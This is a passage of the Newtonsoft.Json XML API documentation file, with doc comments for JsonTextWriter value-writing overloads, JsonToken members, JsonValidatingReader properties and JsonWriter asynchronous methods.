name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see 